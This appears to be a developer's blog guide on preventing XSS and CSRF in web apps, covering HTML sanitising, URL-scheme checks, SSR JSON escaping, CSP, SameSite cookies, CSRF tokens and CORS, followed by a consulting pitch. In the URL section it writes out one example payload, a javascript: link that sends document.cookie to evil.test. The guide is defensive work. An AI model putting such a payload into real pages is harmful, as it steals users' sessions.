HomeBlogHow to Prevent XSS and CSRF...

Engineering Guide · 9 min read · October 16, 2026

How to Prevent XSS and CSRF Attacks in Modern Web Applications

Modern frontend frameworks escape text by default, yet XSS and CSRF still break real applications through rich-text renderers, unsafe URL schemes, SSR state hydration, and misconfigured cookie auth. Here is how to lock down both attack classes across SPAs, SSR apps, and APIs.

Author
Smit Desai
Published
October 16, 2026
Read time
9 min read
Topic
Security & SEO
Services
Custom Web · Mobile Apps · All Services

Developers often assume Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are solved problems because React escapes JSX and Laravel ships with @csrf. In production audits, both bugs still appear regularly—just in subtler places than <script>alert(1)</script> inside a guestbook comment.

They show up inside rich-text markdown previews, "Website URL" profile fields, server-side rendered (SSR) hydration payloads, and single-page apps (SPAs) wired to cookie-based APIs with sloppy CORS rules. Understanding the exact boundary between XSS and CSRF—and why defending one without the other leaves your auth broken—is essential for full-stack security under the OWASP Top 10.


1. XSS vs. CSRF: Different Mechanics, Shared Blast Radius

Although often grouped together, XSS and CSRF exploit opposite trust directions:

  • XSS injects attacker-controlled JavaScript into your origin. Once script executes inside your domain, it reads DOM data, hijacks session state, and bypasses CSRF tokens completely because it runs inside the trusted page.
  • CSRF tricks an authenticated user's browser into firing a state-changing request from another site, piggybacking on cookies or ambient credentials the browser attaches automatically.

Because XSS trivially defeats CSRF defenses, XSS prevention must come first.


2. Closing Modern XSS Vectors

Auto-escaping in Blade ({{ $value }}), Twig, React, and Vue covers standard text nodes. Real-world XSS slips through the escape hatches.

Escape Hatch #1: Rich HTML & Markdown Rendering

Never render user-authored HTML directly with dangerouslySetInnerHTML, v-html, or Blade's {!! $bio !!} without an allowlist HTML sanitizer like DOMPurify running on a clean DOM tree.

import DOMPurify from 'dompurify';

export function SafeBio({ rawHtml }: { rawHtml: string }) {
  const cleanHtml = DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code'],
    ALLOWED_ATTR: ['href', 'rel', 'target'],
  });

  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

Escape Hatch #2: Unsafe href and src Schemes

Passing <a href={userWebsite}> to React does not trigger HTML escaping protection if userWebsite is javascript:fetch('https://evil.test?c=' + document.cookie). Always validate URL schemes explicitly:

export function safeHttpUrl(raw: string): string {
  try {
    const url = new URL(raw);
    if (url.protocol === 'https:' || url.protocol === 'http:') {
      return url.toString();
    }
  } catch {
    // Ignore malformed URLs
  }
  return '#';
}

Escape Hatch #3: SSR Hydration JSON Injection

In server-rendered apps that serialize state into <script>window.__STATE__ = ...</script>, JSON.stringify(data) alone is unsafe if a user string contains </script><script>.... Escape < as \u003c (or use framework helpers like Laravel's Js::from($data)) so the browser HTML parser cannot close the script tag early.

Enforcing a Strict Content Security Policy (CSP)

Sanitization is your primary shield; a nonce-based Content Security Policy is your safety net if an injection slips past code review. Avoid 'unsafe-inline' in script-src, because it neutralizes CSP against inline XSS entirely.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0mN0nc3'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';

Note also that keeping third-party marketing scripts minimal and strictly governed in CSP protects both security and Core Web Vitals (specifically Interaction to Next Paint).


3. Bulletproof CSRF Defense for SSR and SPAs

CSRF only exists when the browser sends credentials automatically (session cookies, HTTP Basic Auth, client certificates).

Layer 1: Never Mutate State on GET Requests

This sounds basic, yet legacy apps still ship links like /team/remove?user_id=14. An attacker can trigger a GET request via a plain <img> tag on any webpage, bypassing SameSite=Lax protections and CSRF middleware designed for POST/PUT/DELETE.

Layer 2: SameSite Cookies + Explicit CSRF Tokens

Set session cookies with HttpOnly, Secure, and SameSite=Lax (or Strict for sensitive internal panels). Then pair them with synchronizer tokens (for server-rendered forms) or encrypted XSRF-TOKEN double-submit headers (for SPAs such as Laravel Sanctum).

Layer 3: Strict CORS Allowlists

Misconfigured CORS reopens cross-origin exploitation even when custom headers are required:

// config/cors.php — explicit origin allowlist, never wildcard with credentials
return [
    'paths' => ['api/*', 'sanctum/csrf-cookie'],
    'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
    'allowed_origins' => [env('FRONTEND_URL', 'https://app.example.com')],
    'allowed_headers' => ['Content-Type', 'X-XSRF-TOKEN', 'Accept'],
    'supports_credentials' => true,
];

4. Choosing Your Browser Auth & CSRF Strategy

Different architectures call for different session models. Pick deliberately rather than mixing patterns:

Auth Pattern CSRF Risk XSS Token-Theft Risk Recommended Guardrails
Server-Rendered Session Cookie High without tokens Low (HttpOnly blocks JS read) SameSite=Lax, HttpOnly, Secure, synchronizer CSRF token
SPA + Cookie Auth (Same-Site API) Medium Low (HttpOnly blocks JS read) SameSite=Lax, X-XSRF-TOKEN header, strict CORS origin list
SPA + localStorage Bearer JWT None (manual header) Critical (any XSS steals token) Short token TTL, strict CSP, zero unsafe HTML sinks, Subresource Integrity
BFF (Backend-for-Frontend Proxy) Low–Medium Low (tokens stay server-side) Recommended for OAuth/OIDC SPAs handling high-value data

For a full server and framework review alongside XSS/CSRF controls, check our complete Laravel security audit checklist and our engineering notes on legacy software modernization.


Hardening Frontend and API Boundaries With SmitDev

Most XSS and CSRF incidents I fix happen at the seam where frontend engineers assume the API handles security and backend engineers assume the frontend framework escapes everything.

At SmitDev, I work across the entire stack—database, API, session boundaries, and browser CSP—to eliminate auth and injection gaps cleanly. Whether you are launching new custom web application development or stabilizing an older SPA/API stack via our engineering services, engagement terms are simple:

  • $55/day (8–9 hours of hands-on engineering) for targeted XSS/CSRF remediation, CSP rollout, and CORS/session refactoring.
  • $1,999/month for dedicated full-stack delivery and continuous security maintenance.

Want a second pair of senior eyes on your session architecture, CSP headers, and frontend escape hatches? Get in touch with SmitDev to review your application.

Written by Smit Desai · Principal Full-Stack & FDSE

8+ years shipping production systems · 171 case studies · 300+ WordPress servers managed for Finland partners.

Next Steps and Recommended Resources

Next Steps · Recommended Resources

Pillar 1 · Infrastructure Proof

300+ WordPress & Cloud Server Fleet

From server-level management of 300+ WordPress sites for a Finland client to PostgreSQL query tuning (3,982 -> 52 queries).

Pillar 2 · Legacy Rescue

Upgrade Old Software (10 Hrs Free)

Audit bottlenecks, eliminate security vulnerabilities, and stabilize production servers—starting with 10 free engineering hours.

01 — Frequently asked questions

security & seo

Does React or Vue automatically prevent all XSS vulnerabilities?

No. React and Vue escape standard text bindings automatically, but XSS still happens whenever developers use dangerouslySetInnerHTML or v-html, bind unvalidated user URLs to href/src (allowing javascript: payloads), or inject unescaped JSON into SSR HTML script tags.

Is SameSite=Lax enough to stop CSRF on its own?

SameSite=Lax blocks cookies on most cross-site POST requests, which defeats classic form-based CSRF. However, you should not rely on it alone: state-changing GET routes still leak, older browsers vary, and sibling subdomain takeovers share the same site boundary. Pair SameSite cookies with CSRF tokens or custom-header checks.

Should SPAs store JWTs in localStorage to avoid CSRF?

Storing long-lived JWTs in localStorage removes CSRF risk but turns any single XSS flaw (including a compromised third-party analytics script) into immediate, silent token theft. HttpOnly, Secure, SameSite cookies paired with CSRF protection remain safer for browser sessions.

Why does an overly broad CORS configuration break CSRF protection?

If your API sets Access-Control-Allow-Origin to mirror arbitrary Origin headers alongside Access-Control-Allow-Credentials: true, malicious sites can read API responses and bypass custom-header preflight protections.

03 — Have an engineering need?

hire the right expertise

Let's talk tech.

Deciding between an embedded forward deployed engineer or a senior full stack developer? Share your technical context and timeline.

Solitaire Corporate Park, Makarba, Ahmedabad, Gujarat 380015, India · IST (UTC+5:30) · --:-- IST · Mon–Fri 09:00–18:00 IST · US & EU overlap daily

No newsletter, no CRM. Just a reply.